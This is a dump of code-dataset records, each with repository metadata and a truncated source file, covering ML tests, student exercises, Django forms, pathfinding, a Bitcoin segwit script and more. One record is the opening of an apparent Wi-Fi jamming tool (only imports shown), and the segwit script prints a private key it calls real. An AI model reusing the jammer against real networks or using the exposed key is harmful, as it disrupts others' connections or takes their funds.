39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-12-02T03:07:35.000Z
2021-12-02T03:07:35.000Z
test/test_npu/test_network_ops/test_soft_margin_loss.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-11-12T07:23:03.000Z
2021-11-12T08:28:13.000Z
test/test_npu/test_network_ops/test_soft_margin_loss.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2020, Huawei Technologies.All rights reserved. # # Licensed under the BSD 3-Clause License (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://opensource.org/licenses/BSD-3-Clause # # Unless required by applicable law...
44.625
130
0.669643
13e899cdbede42323c678d080423f9dca7e2bae8
827
py
Python
INBa/2015/Kurchatov_N_V/z4_11.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
INBa/2015/Kurchatov_N_V/z4_11.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
INBa/2015/Kurchatov_N_V/z4_11.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
# Задача 4. Вариант 11. """ Напишите программу, которая выводит имя, под которым скрывается Йоханнес Бруфельдт. Дополнительно необходимо вывести область интересов указанной личности, место рождения, годы рождения и смерти (если человек умер), вычислить возраст на данный момент (или момент смерти). Для хранения всех ...
37.590909
103
0.7763
b92920138d3548f0ea7ab6ee24ada2abde4a661d
2,544
py
Python
hist_db/search.py
apragacz/hist-db
a2631a7eab004499dae98a0495bc17ee78c6be8a
[ "MIT" ]
1
2021-12-14T22:52:46.000Z
2021-12-14T22:52:46.000Z
hist_db/search.py
apragacz/hist-db
a2631a7eab004499dae98a0495bc17ee78c6be8a
[ "MIT" ]
null
null
null
hist_db/search.py
apragacz/hist-db
a2631a7eab004499dae98a0495bc17ee78c6be8a
[ "MIT" ]
null
null
null
from __future__ import absolute_import, print_function, unicode_literals import logging import platform import sys from curses import KEY_BACKSPACE, KEY_UP, KEY_DOWN, KEY_LEFT, KEY_RIGHT from curses.ascii import ctrl, DEL as KEY_DELETE from .history import iter_history_lines from .model import Model from .curses impor...
27.956044
74
0.681604
1632edeaa116633ee8f5b3fc97e65f0193638238
2,125
py
Python
autologin/api.py
pchaos/wanggejiaoyi
60242d465bf10d4be46ee6eafc99557affc2a52e
[ "MIT" ]
15
2018-05-16T02:39:01.000Z
2021-05-22T13:12:55.000Z
autologin/api.py
pchaos/wanggejiaoyi
60242d465bf10d4be46ee6eafc99557affc2a52e
[ "MIT" ]
null
null
null
autologin/api.py
pchaos/wanggejiaoyi
60242d465bf10d4be46ee6eafc99557affc2a52e
[ "MIT" ]
9
2018-05-16T00:47:34.000Z
2021-11-26T05:39:48.000Z
# coding=utf-8 import logging from .joinquant_follower import JoinQuantFollower from .log import log from .ricequant_follower import RiceQuantFollower from .xq_follower import XueQiuFollower from .xqtrader import XueQiuTrader def use(broker, debug=True, **kwargs): """用于生成特定的券商对象 :param broker:券商名支持 ['yh_clie...
33.203125
81
0.642353
bc78a07bfe4f215bca4ba29a096e77891eed0bcd
5,769
py
Python
examples/benchmarking/plot_csv_file.py
dmlap/transformers
79588e6fdb5af8add092fc27dd695ea1ebc68b18
[ "Apache-2.0" ]
22
2021-11-15T06:00:13.000Z
2022-03-25T14:33:15.000Z
examples/benchmarking/plot_csv_file.py
dmlap/transformers
79588e6fdb5af8add092fc27dd695ea1ebc68b18
[ "Apache-2.0" ]
9
2020-11-13T17:51:46.000Z
2022-03-12T00:46:15.000Z
examples/benchmarking/plot_csv_file.py
dmlap/transformers
79588e6fdb5af8add092fc27dd695ea1ebc68b18
[ "Apache-2.0" ]
4
2021-06-18T06:22:29.000Z
2022-03-25T22:37:25.000Z
import csv from collections import defaultdict from dataclasses import dataclass, field from typing import List, Optional import matplotlib.pyplot as plt import numpy as np from matplotlib.ticker import ScalarFormatter from transformers import HfArgumentParser def list_field(default=None, metadata=None): return...
35.832298
116
0.598024
4c5e886bdcb30a853b4f125ace32e0ff6517999a
2,633
py
Python
online_library/online_library/library/forms.py
trenev/softuni-python-web-basics
0fcf6b7f3389d06685d40615c376dc4027e772f2
[ "MIT" ]
1
2022-03-03T10:16:14.000Z
2022-03-03T10:16:14.000Z
online_library/online_library/library/forms.py
trenev/softuni-python-web-basics
0fcf6b7f3389d06685d40615c376dc4027e772f2
[ "MIT" ]
null
null
null
online_library/online_library/library/forms.py
trenev/softuni-python-web-basics
0fcf6b7f3389d06685d40615c376dc4027e772f2
[ "MIT" ]
null
null
null
from django import forms from online_library.library.models import Profile, Book class RemoveLabelSuffixMixin: fields = {} def _init_remove_colons(self): for _, field in self.fields.items(): field.label_suffix = '' class ProfileForm(RemoveLabelSuffixMixin, forms.ModelForm): def __i...
24.155963
61
0.483099
914ee0c4f8c9c758b6be9e00fd75918b1340f497
1,931
py
Python
Vorlesungsinhalte/2020-11-02_Damen/Python-Code/spielfeld.py
wwi20ama-programmierung/python-intro
e779e3f600b7e54b7c5baef503b79065bdc3cdb6
[ "MIT" ]
null
null
null
Vorlesungsinhalte/2020-11-02_Damen/Python-Code/spielfeld.py
wwi20ama-programmierung/python-intro
e779e3f600b7e54b7c5baef503b79065bdc3cdb6
[ "MIT" ]
null
null
null
Vorlesungsinhalte/2020-11-02_Damen/Python-Code/spielfeld.py
wwi20ama-programmierung/python-intro
e779e3f600b7e54b7c5baef503b79065bdc3cdb6
[ "MIT" ]
2
2020-10-08T18:08:59.000Z
2020-10-29T19:53:34.000Z
# Erzeugt ein neues quadratisches Spielfeld und liefert es zurück def new_spielfeld(h): return [[" "] * h for i in range(h)] # Gibt ein quadratisches Schachbrett auf der Konsole aus def print_spielfeld(feld): hoehe = len(feld) alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" for i in range(hoehe, 0, -1): # Starte bei h...
34.482143
118
0.66494
fc9ade50b5a21942eaf19135af4b18f70845c7dc
5,834
py
Python
TestCodeArchive/PythonCode/Pathfinding/implementation.py
tobiasdossinger/percy
c2ca6f21fcd6830ffd6d3879f7bcaaa5b87335e5
[ "MIT" ]
null
null
null
TestCodeArchive/PythonCode/Pathfinding/implementation.py
tobiasdossinger/percy
c2ca6f21fcd6830ffd6d3879f7bcaaa5b87335e5
[ "MIT" ]
null
null
null
TestCodeArchive/PythonCode/Pathfinding/implementation.py
tobiasdossinger/percy
c2ca6f21fcd6830ffd6d3879f7bcaaa5b87335e5
[ "MIT" ]
null
null
null
# Sample code from https://www.redblobgames.com/pathfinding/a-star/ # Copyright 2014 Red Blob Games <redblobgames@gmail.com> # # Feel free to use this code in your own projects, including commercial projects # License: Apache v2.0 <http://www.apache.org/licenses/LICENSE-2.0.html> class SimpleGraph: def __init__(se...
31.365591
290
0.545938
53897348e7c3f8821d3f211d7c1ed0352d4a8c39
273
py
Python
list_comp.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
list_comp.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
list_comp.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
# https://www.hackerrank.com/challenges/list-comprehensions/problem X = int(input()) Y = int(input()) Z = int(input()) n = int(input()) X += 1 Y += 1 Z += 1 permutations = [[x,y,z] for x in range(X) for y in range(Y) for z in range(Z) if x+y+z != n] print(permutations)
19.5
92
0.630037
53adc54f3401f171a740ac762ebfc500123527f7
65
py
Python
python/python_backup/PRAC_PYTHON/kip.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/python_backup/PRAC_PYTHON/kip.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/python_backup/PRAC_PYTHON/kip.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
a=input("a number") f=1 for i in range(1,a,1): f=f*i print f
13
23
0.584615
53c6aa5e08e187d69bbd100780647fac43c163b4
3,847
py
Python
skil/base.py
pcrete/skil-python
672a1aa9e8af020c960ab9ee280cbb6b194afc3f
[ "Apache-2.0" ]
23
2018-09-19T13:34:27.000Z
2022-02-14T09:49:35.000Z
skil/base.py
pcrete/skil-python
672a1aa9e8af020c960ab9ee280cbb6b194afc3f
[ "Apache-2.0" ]
33
2018-10-18T07:58:05.000Z
2019-05-16T08:24:12.000Z
skil/base.py
pcrete/skil-python
672a1aa9e8af020c960ab9ee280cbb6b194afc3f
[ "Apache-2.0" ]
11
2018-10-21T18:58:57.000Z
2022-02-14T09:49:36.000Z
import skil_client from skil_client.rest import ApiException as api_exception try: from skil_client import Credentials as Cred except: from skil_client import LoginRequest as Cred import pprint import os import time import requests import json import subprocess from .config import SKIL_CONFIG, save_skil_confi...
34.348214
121
0.628542
07601aba57b76458c8d6f1d28ac43c26bc9267aa
16,257
py
Python
research/cv/fairmot/src/backbone_dla_conv.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/fairmot/src/backbone_dla_conv.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/fairmot/src/backbone_dla_conv.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2020 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
40.440299
120
0.571692
ab1e3675ca14b42742a84353addcdc4e82571c5e
3,972
py
Python
transactions/nested2nested.py
DariusParvin/segwit_tutorial
a5ed6776bbed5eaf1e24b6a1d9228c39d30c0376
[ "MIT" ]
10
2019-03-12T22:32:26.000Z
2022-01-05T06:36:52.000Z
transactions/nested2nested.py
DariusParvin/segwit_tutorial
a5ed6776bbed5eaf1e24b6a1d9228c39d30c0376
[ "MIT" ]
2
2019-10-30T14:31:00.000Z
2019-11-02T01:27:08.000Z
transactions/nested2nested.py
DariusParvin/segwit_tutorial
a5ed6776bbed5eaf1e24b6a1d9228c39d30c0376
[ "MIT" ]
3
2019-10-31T13:56:04.000Z
2022-01-19T21:40:09.000Z
hash = (bytes.fromhex('73c9fec091af7d5fa74650e758b40b4f9895404d1cb95193b6ec059a541dd44f'))[::-1] # Yes, it's a real private key. You can have a go with it, but please try to recharge this address so that others might get to try it too private_key = bytes.fromhex("0c5453736c13e0cb4f364fa9bba7e614b82ac542c...
33.948718
144
0.692598
72d3f209fb6ddb8107308ea2b455d5409716c3ee
7,734
py
Python
src/main/python/tools/binaryzation_crop.py
gwdgithubnom/ox-patient
cddf4fe381cb4506db8e0d62803dd2044cf7ad92
[ "MIT" ]
null
null
null
src/main/python/tools/binaryzation_crop.py
gwdgithubnom/ox-patient
cddf4fe381cb4506db8e0d62803dd2044cf7ad92
[ "MIT" ]
null
null
null
src/main/python/tools/binaryzation_crop.py
gwdgithubnom/ox-patient
cddf4fe381cb4506db8e0d62803dd2044cf7ad92
[ "MIT" ]
1
2021-04-14T00:45:38.000Z
2021-04-14T00:45:38.000Z
import os import sys from PIL import Image #from PIL.Image import core as image import os, random, string, shutil import time from tools import logger from context import resource_manager from tools import file_manage from view import plot_utils log=logger.getLogger() """ walk through a directory and g...
35.972093
148
0.516033
f423b62e99258d4f813c72ad22adee1d611160e6
3,330
py
Python
Packs/FeedOpenCTI/Integrations/FeedOpenCTI/FeedOpenCTI_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/FeedOpenCTI/Integrations/FeedOpenCTI/FeedOpenCTI_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/FeedOpenCTI/Integrations/FeedOpenCTI/FeedOpenCTI_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
from FeedOpenCTI import get_indicators_command, fetch_indicators_command, get_indicators from test_data.feed_data import RESPONSE_DATA, RESPONSE_DATA_WITHOUT_INDICATORS from CommonServerPython import CommandResults class StixObservable: def list(self): return self class Client: temp = '' stix_ob...
37.840909
119
0.721021
bea5ab5a2ebf3b8b0b848b74644d1c6ed1068839
3,216
py
Python
keras_fcn/models.py
li657835991/FCN
26bafeaf631a095d9d2befcc3b798a87c8d0fa7c
[ "MIT" ]
235
2017-03-01T14:34:29.000Z
2021-06-03T16:16:16.000Z
keras_fcn/models.py
li657835991/FCN
26bafeaf631a095d9d2befcc3b798a87c8d0fa7c
[ "MIT" ]
39
2017-03-25T01:20:25.000Z
2020-10-30T11:51:47.000Z
keras_fcn/models.py
li657835991/FCN
26bafeaf631a095d9d2befcc3b798a87c8d0fa7c
[ "MIT" ]
105
2017-04-13T21:31:46.000Z
2021-11-01T17:25:48.000Z
"""Fully Convolutional Neural Networks.""" from __future__ import ( absolute_import, unicode_literals ) import keras import tensorflow as tf import keras.backend as K from keras.models import Model from keras.layers import Input, Flatten, Activation, Reshape from keras_fcn.encoders import VGG16, VGG19 from ke...
30.339623
108
0.706468
fe353048e5eaf0f32af73435cc3abbd3f8b78ee0
1,226
py
Python
tests/test_comments.py
goosechooser/benwaonline
e2879412aa6c3c230d25cd60072445165517b6b6
[ "MIT" ]
null
null
null
tests/test_comments.py
goosechooser/benwaonline
e2879412aa6c3c230d25cd60072445165517b6b6
[ "MIT" ]
16
2017-09-13T10:21:40.000Z
2020-06-01T04:32:22.000Z
tests/test_comments.py
goosechooser/benwaonline
e2879412aa6c3c230d25cd60072445165517b6b6
[ "MIT" ]
null
null
null
import pytest import requests_mock from flask import url_for, json from benwaonline.entities import Comment class TestShowComments(object): comments_uri = '/api/comments' with open('tests/data/show_comments.json') as f: test_data = json.load(f) def test_no_comments(self, client): comments...
37.151515
68
0.673736
fe36bddb7cdc6fcaa02e5d425993a48af85bffa5
2,081
py
Python
tests/nlu/tokenizers/test_jieba_tokenizer.py
chaneyjd/rasa
104a9591fc10b96eaa7fe402b6d64ca652b7ebe2
[ "Apache-2.0" ]
37
2019-06-07T07:39:00.000Z
2022-01-27T08:32:57.000Z
tests/nlu/tokenizers/test_jieba_tokenizer.py
chaneyjd/rasa
104a9591fc10b96eaa7fe402b6d64ca652b7ebe2
[ "Apache-2.0" ]
216
2020-09-20T13:05:58.000Z
2022-03-28T12:10:24.000Z
tests/nlu/tokenizers/test_jieba_tokenizer.py
chaneyjd/rasa
104a9591fc10b96eaa7fe402b6d64ca652b7ebe2
[ "Apache-2.0" ]
65
2019-05-21T12:16:53.000Z
2022-02-23T10:54:15.000Z
from pathlib import Path from unittest.mock import patch from rasa.nlu.tokenizers.jieba_tokenizer import JiebaTokenizer import pytest from rasa.shared.nlu.training_data.training_data import TrainingData from rasa.shared.nlu.training_data.message import Message from rasa.nlu.constants import TOKENS_NAMES from rasa.sh...
29.309859
85
0.653532
fea15cc97563dee79ea986eb989523ecc207aee4
141
py
Python
7-assets/past-student-repos/LambdaSchool-master/m7/73a1/ls8/branch_table.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
7-assets/past-student-repos/LambdaSchool-master/m7/73a1/ls8/branch_table.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
7-assets/past-student-repos/LambdaSchool-master/m7/73a1/ls8/branch_table.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
import * from cpu class Branch_Table: def __init__(self, register): self.bt = {} self.register = int('0b' + register)
15.666667
44
0.595745
2292ba78ef1c5c5320c3829230683f38ae9951bb
2,811
py
Python
plot_barchart.py
wikipeter-de/COVID-19-NRW
f576d91a2d0a489b9d9dcb2196b440ba6de81e85
[ "Apache-2.0" ]
null
null
null
plot_barchart.py
wikipeter-de/COVID-19-NRW
f576d91a2d0a489b9d9dcb2196b440ba6de81e85
[ "Apache-2.0" ]
null
null
null
plot_barchart.py
wikipeter-de/COVID-19-NRW
f576d91a2d0a489b9d9dcb2196b440ba6de81e85
[ "Apache-2.0" ]
null
null
null
import pandas as pd import numpy as np import seaborn as sns import matplotlib import matplotlib.pyplot as plt from matplotlib.figure import Figure matplotlib.use("agg") def plot(kommune): df_raw = pd.read_csv("data/time_series/time_series_covid-19_nrw_confirmed.csv") df_raw = df_raw[df_raw.Kommune == kom...
27.028846
83
0.588403
22b6dbd79725f93a83fe868a8a526842cbc95c0c
75
py
Python
benchmarks/matbench_v0.1_cgcnnv2019/run.py
sparks-baird/matbench
4424609454286e32fff2bcc724379b2a316c5a76
[ "MIT" ]
15
2021-11-01T09:02:19.000Z
2022-03-19T10:59:41.000Z
benchmarks/matbench_v0.1_cgcnnv2019/run.py
sparks-baird/matbench
4424609454286e32fff2bcc724379b2a316c5a76
[ "MIT" ]
62
2021-09-20T14:09:59.000Z
2022-03-30T19:03:22.000Z
benchmarks/matbench_v0.1_cgcnnv2019/run.py
ardunn/matbench
7d11a2d63766339ec00e610e2255be29b81544d3
[ "MIT" ]
4
2021-03-22T10:37:42.000Z
2021-07-20T14:11:28.000Z
""" Results adapted from original publication data, code not available. """
25
67
0.76
a3c825c85beb4602701e7d7ef6c3dc3f73217be8
3,427
py
Python
tests/rbac/common/role/imports_role_test.py
akgunkel/sawtooth-next-directory
a88833033ab30e9091479a38947f04c5e396ca46
[ "Apache-2.0" ]
null
null
null
tests/rbac/common/role/imports_role_test.py
akgunkel/sawtooth-next-directory
a88833033ab30e9091479a38947f04c5e396ca46
[ "Apache-2.0" ]
1
2019-07-08T22:32:43.000Z
2019-07-08T22:32:43.000Z
tests/rbac/common/role/imports_role_test.py
akgunkel/sawtooth-next-directory
a88833033ab30e9091479a38947f04c5e396ca46
[ "Apache-2.0" ]
null
null
null
# Copyright 2019 Contributors to Hyperledger Sawtooth # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
31.440367
83
0.699737
4a3c51952403d2f29ea8d60a88ec9477164459b5
369
py
Python
7-assets/past-student-repos/data_struct_and_algo-master/selection_sort.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
7-assets/past-student-repos/data_struct_and_algo-master/selection_sort.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
7-assets/past-student-repos/data_struct_and_algo-master/selection_sort.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
# sample input : 4 # -1,0,3,57,89,9 #output : -1,0,3,9,57,89 def selection_sort(arr,n): imin=0 for i in range(n-1): imin=i for j in range(i+1,n): if arr[i]>=arr[j]: arr[i],arr[j]=arr[j],arr[i] imin = j return arr arr=[-1,...
19.421053
43
0.463415
604ec9b2b5b21f6a3c69548bbe41aef1c422e7e6
2,830
py
Python
oneflow/python/test/xrt/test_softmax_grad.py
wanghongsheng01/framework_enflame
debf613e05e3f5ea8084c3e79b60d0dd9e349526
[ "Apache-2.0" ]
2
2021-09-10T00:19:49.000Z
2021-11-16T11:27:20.000Z
oneflow/python/test/xrt/test_softmax_grad.py
duijiudanggecl/oneflow
d2096ae14cf847509394a3b717021e2bd1d72f62
[ "Apache-2.0" ]
1
2021-06-16T08:37:50.000Z
2021-06-16T08:37:50.000Z
oneflow/python/test/xrt/test_softmax_grad.py
duijiudanggecl/oneflow
d2096ae14cf847509394a3b717021e2bd1d72f62
[ "Apache-2.0" ]
1
2021-11-10T07:57:01.000Z
2021-11-10T07:57:01.000Z
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
31.797753
82
0.673852
6075d679563b47eb37e85833f13af71ce11b5f3a
7,083
py
Python
pokebot-master/pokebot.py
jaakaappi/archived-projects
be1f754eca7c1434f3a363b0ea8ebcd190a42436
[ "MIT" ]
null
null
null
pokebot-master/pokebot.py
jaakaappi/archived-projects
be1f754eca7c1434f3a363b0ea8ebcd190a42436
[ "MIT" ]
3
2021-03-10T13:18:31.000Z
2021-05-11T09:20:11.000Z
pokebot-master/pokebot.py
jaakaappi/archived-projects
be1f754eca7c1434f3a363b0ea8ebcd190a42436
[ "MIT" ]
null
null
null
import argparse import arrow import asyncio import discord import json import os import threading import time from redis import StrictRedis redis = StrictRedis() client = discord.Client() helpfile = open('commandhelp', 'r') helpstring = helpfile.read() helpfile.close() channels = [] @client.event async def on_ready(...
36.699482
115
0.541296
60b93579c9e168a0e735f603d27e6c3ae3d49a1e
1,153
py
Python
oldp/apps/lib/legal_md/tests/test_line_numbers.py
ImgBotApp/oldp
575dc6f711dde3470d910e21c9440ee9b79a69ed
[ "MIT" ]
3
2020-06-27T08:19:35.000Z
2020-12-27T17:46:02.000Z
oldp/apps/lib/legal_md/tests/test_line_numbers.py
ImgBotApp/oldp
575dc6f711dde3470d910e21c9440ee9b79a69ed
[ "MIT" ]
null
null
null
oldp/apps/lib/legal_md/tests/test_line_numbers.py
ImgBotApp/oldp
575dc6f711dde3470d910e21c9440ee9b79a69ed
[ "MIT" ]
null
null
null
# TODO import os from unittest import TestCase import markdown RESOURCE_DIR = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'resources') class LineNumbersTest(TestCase): maxDiff = None extensions = [ 'oldp.apps.lib.legal_md.extensions.line_numbers', ] def assert_md_file(...
27.452381
88
0.66869
60bed69ae6ea1ff4370d11b05374a27983655416
1,097
py
Python
packages/watchmen-data-kernel/src/watchmen_data_kernel/cache/internal_cache.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-data-kernel/src/watchmen_data_kernel/cache/internal_cache.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-data-kernel/src/watchmen_data_kernel/cache/internal_cache.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
from typing import Any, Callable, Hashable, Optional, Union, ValuesView from cacheout import Cache from watchmen_data_kernel.common import ask_cache_enabled class InternalCache: def __init__(self, cache: Callable[[], Cache]): if ask_cache_enabled(): self.cache = cache() def put(self, key: Hashable, value: A...
26.119048
100
0.721057
1c5e3db3b54faec6a3e8394e2a12d19158d8ca64
276
py
Python
WD/Cwiczenia/listySlowniki.py
galursa/UWM
b7ab4a275662764a91af6c5bc79da0d98177d0ac
[ "MIT" ]
1
2020-02-29T14:38:33.000Z
2020-02-29T14:38:33.000Z
WD/Cwiczenia/listySlowniki.py
galursa/UWM
b7ab4a275662764a91af6c5bc79da0d98177d0ac
[ "MIT" ]
null
null
null
WD/Cwiczenia/listySlowniki.py
galursa/UWM
b7ab4a275662764a91af6c5bc79da0d98177d0ac
[ "MIT" ]
null
null
null
lista=[1,2,3,4,5] print("Przykład listy") print(lista) krotka=(1,2,3,4,5) print("Przykład krotki (ang. tuple)") print(krotka) lista.append('Ala') print("Przykład listy po dodaniu") print(lista) lista[0]=3 print("Przykład listy po zmianie") print(lista)
15.333333
38
0.65942
40838ee608988f6e40f8130bac42d107f3b74f5c
59
py
Python
PythonPro/demo/package_runoob/runoob2.py
JianmingXia/StudyTest
66d688ad41bbce619f44359ea126ff07a923f97b
[ "MIT" ]
null
null
null
PythonPro/demo/package_runoob/runoob2.py
JianmingXia/StudyTest
66d688ad41bbce619f44359ea126ff07a923f97b
[ "MIT" ]
68
2020-09-05T04:22:49.000Z
2022-03-25T18:47:08.000Z
PythonPro/demo/package_runoob/runoob2.py
JianmingXia/StudyTest
66d688ad41bbce619f44359ea126ff07a923f97b
[ "MIT" ]
null
null
null
#coding=utf-8 #包 def runoob2(): print "I'm in runoob2"
9.833333
25
0.627119
40eb715a4bb1f546459bed04987ede01fd5e369f
13,014
py
Python
wifijammer-master/wifijammer.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
wifijammer-master/wifijammer.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
wifijammer-master/wifijammer.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
#!/usr/bin/python #Author: @hash3liZer import sys import argparse import threading import os import time import signal import random import subprocess import re from pull import PULL from scapy.sendrecv import sniff from scapy.sendrecv import sendp from scapy.sendrecv import send from scapy.layers.dot11 import Dot11Be...
26.505092
139
0.643845
46679fb27371b797287cbd3649c10065a14170db
3,012
py
Python
scripts/get-search.py
evildrummer/1337-observer
621eb16711d9f70a59fb5524fc990dcab1004b14
[ "MIT" ]
1
2022-01-28T22:29:44.000Z
2022-01-28T22:29:44.000Z
scripts/get-search.py
evildrummer/1337-observer
621eb16711d9f70a59fb5524fc990dcab1004b14
[ "MIT" ]
null
null
null
scripts/get-search.py
evildrummer/1337-observer
621eb16711d9f70a59fb5524fc990dcab1004b14
[ "MIT" ]
1
2022-01-28T21:10:41.000Z
2022-01-28T21:10:41.000Z
import argparse import requests from bs4 import BeautifulSoup import time def main(input_file, output_file, first): # use input file current_token = get_first_token() if input_file != "no": # use input file with open(input_file, "r") as myfile: content = myfile.readlines() ...
32.387097
96
0.547809
48ae3ef1d74e46d1f7e617da8babfc06847f9f09
365
py
Python
___Python/Torsten/Python-Kurs/p01_kennenlernen/PythonLib.py
uvenil/PythonKurs201806
85afa9c9515f5dd8bec0c546f077d8cc39568fe8
[ "Apache-2.0" ]
null
null
null
___Python/Torsten/Python-Kurs/p01_kennenlernen/PythonLib.py
uvenil/PythonKurs201806
85afa9c9515f5dd8bec0c546f077d8cc39568fe8
[ "Apache-2.0" ]
null
null
null
___Python/Torsten/Python-Kurs/p01_kennenlernen/PythonLib.py
uvenil/PythonKurs201806
85afa9c9515f5dd8bec0c546f077d8cc39568fe8
[ "Apache-2.0" ]
null
null
null
from datetime import date # 1) Berechnung des Alters; Geburtdatum wird übergeben def alter(geburtsdatum): heute = date.today() jahre = heute.year - geburtsdatum.year if (geburtsdatum.month, geburtsdatum.day) > (heute.month, heute.day): jahre -= 1 return(jahre) def celsius_nach_fahren...
30.416667
74
0.682192
815f6d3f0ece7463b1ba9898b181b14930c119a0
3,028
py
Python
Abiturklassen/Python/binarysearchtree.py
jneug/schule-projekte
4f1d56d6bb74a47ca019cf96d2d6cc89779803c9
[ "MIT" ]
2
2020-09-24T12:11:16.000Z
2022-03-31T04:47:24.000Z
Abiturklassen/Python/binarysearchtree.py
jneug/schule-projekte
4f1d56d6bb74a47ca019cf96d2d6cc89779803c9
[ "MIT" ]
1
2021-02-27T15:06:27.000Z
2021-03-01T16:32:48.000Z
Abiturklassen/Python/binarysearchtree.py
jneug/schule-projekte
4f1d56d6bb74a47ca019cf96d2d6cc89779803c9
[ "MIT" ]
1
2021-02-24T05:12:35.000Z
2021-02-24T05:12:35.000Z
class BinarySearchTree(object): class _BSTNode(object): content = None left = None right = None def __init__(self, pContent): self.content = pContent self.left = BinarySearchTree() self.right = BinarySearchTree() def __init__(self): ...
31.216495
80
0.551189
c4ba67ac182ce922958e7947471890b893601539
1,834
py
Python
src/features/itfidf.py
Somsubhra/Enrich
cf1e69b86ceb64c8b09c98b442e09c1196b50125
[ "MIT" ]
1
2015-11-30T09:27:51.000Z
2015-11-30T09:27:51.000Z
src/features/itfidf.py
Somsubhra/Enrich
cf1e69b86ceb64c8b09c98b442e09c1196b50125
[ "MIT" ]
null
null
null
src/features/itfidf.py
Somsubhra/Enrich
cf1e69b86ceb64c8b09c98b442e09c1196b50125
[ "MIT" ]
null
null
null
# Headers __author__ = 'Somsubhra Bairi' __email__ = 'somsubhra.bairi@gmail.com' # All imports from extras import Logger # Calculates the Inverse Term Frequency - Inverse Document Frequency class ITFIDF: # Constructor for the ITFIDF def __init__(self, out_file, tf_dict, df_dict): self.out_file = out...
29.111111
113
0.61723
c4c46abb91ecfacd4781c1dd1c68b1721320d0db
166
py
